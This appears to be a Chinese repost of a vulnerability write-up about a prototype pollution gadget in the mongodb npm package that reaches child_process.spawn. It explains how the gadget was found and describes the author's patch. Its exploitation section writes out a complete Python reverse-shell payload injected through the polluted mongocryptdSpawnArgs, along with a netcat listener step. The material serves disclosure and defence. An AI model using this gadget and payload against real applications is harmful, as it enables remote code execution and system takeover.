MongoDB 中全新原型污染小工具可导致 RCE

admin 2024年6月18日16:52:28评论8 views字数 2339阅读7分47秒阅读模式

MongoDB 中全新原型污染小工具可导致 RCE

最近,我在mongodb NPM 包中发现了一个新的原型污染小工具,它会导致远程代码执行 (RCE)。尽管这一发现令人兴奋,但我的报告被归类为“信息性”,因为它的利用取决于使用此库的应用程序。无论如何,我想分享我的发现的细节、它的影响,以及我认为它值得更多关注的原因。该软件包仍然很脆弱,因此应用程序开发人员应该意识到这一点,即使它也可以被滥用于邪恶目的!

什么是原型污染?

原型污染是一种 JavaScript 特有的漏洞,允许将任意属性注入全局对象原型。如果应用程序随后以不安全的方式使用这些属性,则可能为其他类型的攻击提供机会,例如身份验证绕过、XSS 甚至 RCE。有关更多详细信息,请查看Portswigger关于此主题的文章。

为了能够获得具有原型污染的 RCE,我们需要 3 个组件:

  • Sink — 执行任意代码的危险 JavaScript 函数。例如eval、child_process.exec等。

  • 小工具— 未经消毒就传递到水槽的属性。

  • 源头——应用程序的入口点,用于利用易受攻击的属性污染原型。

即使 Web 应用程序存在原型污染源,此漏洞本身也不会构成任何风险,除非它可以与有效的 gadget 和 sink 结合产生重大影响。这里的窍门是 gadget 和 sink 不必驻留在应用程序自己的代码库中,也可以出现在其依赖项中。我们只需污染在某处不安全处理的属性,即可升级为其他漏洞。

MongoDB 中全新原型污染小工具可导致 RCE

发现

为了发现mongodb NPM 库中的原型污染小工具,我首先确定了危险接收器,然后追溯其参数以确定潜在小工具。它存在于mongodb/lib/client-side-encryption/mongocryptd_manager.js文件中,负责特定数据字段的客户端加密:

MongoDB 中全新原型污染小工具可导致 RCE

在第 37 行,cmdName和this.spawnArgs参数被传入从child_process库导入的spawn函数。cmdName变量在第 32 行声明,其值为this.spawnPath。我们来分析一下这些属性从何而来。

在第 16 行中,我们看到this.spawnPath被设置为extraOptions.mongocryptdSpawnPath或空字符串。在第 19 行中,extraOptions.mongocryptdSpawnArgs用于填充this.spawnArgs数组。类构造函数在引用这些属性之前不会检查这些属性是否存在于extraOptions对象中。这就是为什么如果应用程序在extraOptions对象中找不到这些属性,它将在全局对象原型中搜索这些属性。这会创建一个有用的小工具,以通过原型污染达到spawn调用,使我们能够使用任意选项运行任何二进制文件。

开发

为了模拟原型污染漏洞,我设置了一个示例 Node.js 应用程序,该应用程序创建了一个带有客户端加密的 MongoDB 数据库连接:https://pastebin.com/YAewQa3f

在MongoClient类初始化之前,以下几行会污染原型:

localMasterKey.__proto__.mongocryptdSpawnPath = "python";localMasterKey.__proto__.mongocryptdSpawnArgs = ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'];

mongocryptdSpawnPath属性指定要运行的二进制文件,而mongocryptdSpawnArgs表示 CLI 参数。结果:

MongoDB 中全新原型污染小工具可导致 RCE

总体步骤:

  1. 安装mongodb和mongodb-client-encryption包:npm install mongodb mongodb-client-encryption。

  2. 安装并启动 mongod 服务。

  3. 创建 netcat 监听器。

  4. 运行 Node.js 程序。

每当您在使用 MongoDB 的 Node.js 应用程序中遇到原型污染时,您都可以轻松设置上面描述的属性并实现 RCE。

补救措施

尽管 MongoDB 拒绝为这一发现提供奖励,但我选择不与 HackerOne 团队争论为什么 MongoDB 应该负责修复此漏洞,而应该将所有负担都放在使用该库的开发人员身上。相反,我撸起袖子,实施了补丁,并在他们的 Github 存储库中创建了一个拉取请求。我提出的简单解决方案如下:

MongoDB 中全新原型污染小工具可导致 RCE

我添加的代码确保mongocryptdSpawnPath和mongocryptdSpawnArgs属性存在于extraOptions对象中,然后再将它们分配给this.spawnPath和this.spawnArgs。

我仍然不明白为什么这种原型污染装置继续存在,如果大多数问题都可以通过添加几行代码轻松修复。

结论

这就是我最新的漏洞搜寻冒险的全部内容。在 Node.js 应用程序中使用 mongodb 包时要小心,因为它包含一个定时炸弹 😄 保持安全!

Brand-new prototype pollution gadget in MongoDB leading to RCEhttps://medium.com/@vuusale/brand-new-prototype-pollution-gadget-in-mongodb-leading-to-rce-8c5e0087c15e

原文始发于微信公众号(Ots安全):MongoDB 中全新原型污染小工具可导致 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月18日16:52:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MongoDB 中全新原型污染小工具可导致 RCEhttps://cn-sec.com/archives/2860348.html

发表评论

匿名网友 填写信息